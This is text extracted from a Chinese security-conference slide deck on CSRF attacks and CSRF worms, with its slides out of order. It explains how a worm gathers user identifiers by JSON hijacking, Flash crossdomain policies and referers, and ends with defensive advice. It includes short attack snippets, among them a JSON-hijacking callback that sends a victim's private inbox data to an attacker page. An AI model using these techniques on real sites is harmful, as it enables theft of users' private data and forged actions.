CSRF-苏醒的巨人课件.pptVIP

使用服务端代理 使用服务端代理技术： asp/服务端的XMLHTTP，php的file_get_contents等等。 无法获取页面内容中的唯一标识，只能获取url中的唯一标识： 使用referer来获取目标站点的url。 r = Request.ServerVariables(“HTTP_REFERER”)。 r可能为http://目标站点/space/user/?id=2343，其中2343就是唯一标识。 使用JSON Hijacking 使用JSON Hijacking技术： 目标站点使用了JSON数据传输用户私有数据。 该私有数据内包含我们需要的唯一标识等信息。 相关代码： script function hijack(o){ //use DOM method to get your data new Image().src=/JSONHiJack.asp?hi=+escape(data); }/script script src=/private_messages/inbox.json?callback=hijackcount=2/script 使用Flash 使用Flash ActionScript脚本： 目标站点下必须存在crossdomain.xml文件。 crossdomain.xml中的配置允许其他域的AS脚本进行跨域请求。 ?xml version=1.0?cross-domain-policyallow-access-from domain=* //cross-domain-policy 相关代码： import .*; var _l = new URLLoader(new URLRequest(“http://目标站点/)); _l.addEventListener(Event.COMPLETE,function(){text1.text = _l.data}); _l.load(); 其它方法 script标签的跨域性质： 目标站点有些根据用户唯一标识生成的.js等文件。 也许包含唯一标识在这些文件中，比如var user_id = 2343;。 我们可以获取这样的全局变量。 IE8下的XDomainRequest。 当服务端返回的HTTP头部中带有XDomainRequestAllowed=1。 CSSHttpRequest： 目标站点返回这样格式的数据：@import url(about:chr:data); …… 2、数据发送模 唯一标识的作用。 在CSRF蠕虫数据处理中心对唯一标识对应的其它相关用户发起CSRF攻击。 就是这样的传播方式。 使用POST或GET型的CSRF发送伪造后的请求。 各种技术：JavaScript, ActionScript, HTML/CSS, XML, ASP, PHP, JSP, .NET等等。 在客户端发送，否则带不上session/cookie。 CSRF蠕虫模型 CSRF蠕虫数据处理中心 Web2.0——具有CSRF漏洞 数据获取模块 数据发送模块 XSS 服务端代理技术 JSON Hijacking Flash (crossdomain.xml) POST(form/flash) GET(url) 唯一标识 (四) 修补建议 四、修补建议 修补建议 在服务端区严格区分好POST与GET的数据请求。 如在asp中不要使用Request来直接获取数据。 建议不要用GET请求来执行持久性操作，如： /space/deleteEvent/16824。 可以考虑使用referer来判断请求来源。 如果referer是站外的话就拒绝请求。Flash的referer为空，记得不要漏了空值。 在客户端伪造referer值？ 使用随机的不可猜测的表单token值来防止外站CSRF攻击。 虽然在XSS的辅助下无效。 在一些重要的表单提交处可以考虑使用验证码或者密码确认方式进行。 这种方法很有效，但是用户体验就差了些。 The End! ( return obj ) QA cosine-evilcos@ * * * * * * * * CSRF攻击 —— 苏醒的巨人 cosine-evilcos@ 一、What’s CSRF Cross-Site Request Forgery跨站请求伪造。 1、这是跨站点的请求 2、这个请求是伪造的 被攻击者的浏览器被迫向目标站点发起了伪造的请求，这个过程会带上被攻击者的身份验证标识（cookie）以通过目标站点的验证。从而借用被攻击者在目标站点上的权限进行一系列不被期望的操作。 二、CONTENT 1、CSRF模型 2、CSRF攻击和基于CSRF的攻击 3、CSRF蠕虫模型 4、修补建议 5、